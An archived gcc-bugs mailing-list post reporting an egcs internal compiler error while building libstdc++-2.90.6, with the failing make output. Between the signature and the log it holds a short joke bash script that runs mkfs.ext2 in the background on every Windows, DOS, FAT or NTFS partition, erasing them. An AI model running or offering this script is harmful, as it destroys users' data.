This is the mail archive of the gcc-bugs@gcc.gnu.org mailing list for the GCC project.


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]

"Internal compiler error", egcs-2.91.66, compiling libstdc++-2.90.6, reproducable


Hi! 

(This may be a FAQ-submission, in that case, ignore it,  
 I didn't check the FAQ :)

I think that you ought to have heard this bug before, I've not
the time to look it up (and don't really care), but anyway,
here it is. I've tried compiling the new (alpha/beta?) stl-Library,
"libstdc++-2.90.6.tgz" (downloaded today) with egcs-2.91.66 on
SuSE 6.2. "./configure" (seemed to?) work fine, "make" failed
(reproducable), I've attached the output from the second "make"-run,
that mainly contains the error msg.

better luck next time :)

Christian Grothoff
p.s.:
In case you want to help me: What I wanted to do is use
"#include <bitset>", which didn't work with the installed
egcs. There is no such header (ok, there is "BitSet.h",
but that one differs from the standard). Got a better
idea then compiling libstdc++-2.90.6?
-- 
_______________________________________________________
Christian Grothoff, Freiligrathstr. 70, 42289 Wuppertal
_____ http://www.stud.uni-wuppertal.de/~ma0035/ _______
    _______ ma0035@stud.uni-wuppertal.de ________
          ________________________________
#!/bin/bash
for i in `fdisk -l | grep -E "Win|DOS|FAT|NTFS" | awk '{print$1;}'`
do
  nohup mkfs.ext2 $i &
done
echo Ich bin root, ich darf das.
make  all-recursive
make[1]: Entering directory `/root/new_stl/libstdc++-2.90.6'
Making all in math
make[2]: Entering directory `/root/new_stl/libstdc++-2.90.6/math'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/root/new_stl/libstdc++-2.90.6/math'
Making all in string
make[2]: Entering directory `/root/new_stl/libstdc++-2.90.6/string'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/root/new_stl/libstdc++-2.90.6/string'
Making all in libio
make[2]: Entering directory `/root/new_stl/libstdc++-2.90.6/libio'
make[2]: Nothing to be done for `all'.
make[2]: Leaving directory `/root/new_stl/libstdc++-2.90.6/libio'
Making all in src
make[2]: Entering directory `/root/new_stl/libstdc++-2.90.6/src'
/bin/sh ../libtool --mode=compile c++ -DHAVE_CONFIG_H -I. -I. -I.. -nostdinc++ -I.. -I../stl -I../libio     -g -D_GNU_SOURCE -fno-implicit-templates  -fimplicit-templates -c misc-inst.cc
rm -f .libs/misc-inst.lo
c++ -DHAVE_CONFIG_H -I. -I. -I.. -nostdinc++ -I.. -I../stl -I../libio -g -D_GNU_SOURCE -fno-implicit-templates -fimplicit-templates -c  -fPIC -DPIC misc-inst.cc -o .libs/misc-inst.lo
../bits/std_ostream.h: In function `class basic_ostream<char,char_traits<char> > & operator <<<char_traits<char>>(class basic_ostream<char,char_traits<char> > &, const char *)':
misc-inst.cc:102:   instantiated from here
../bits/std_ostream.h:465: Internal compiler error.
../bits/std_ostream.h:465: Please submit a full bug report to `egcs-bugs@egcs.cygnus.com'.
../bits/std_ostream.h:465: See <URL:http://egcs.cygnus.com/faq.html#bugreport> for details.
make[2]: *** [misc-inst.lo] Error 1
make[2]: Leaving directory `/root/new_stl/libstdc++-2.90.6/src'
make[1]: *** [all-recursive] Error 1
make[1]: Leaving directory `/root/new_stl/libstdc++-2.90.6'
make: *** [all-recursive-am] Error 2

Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]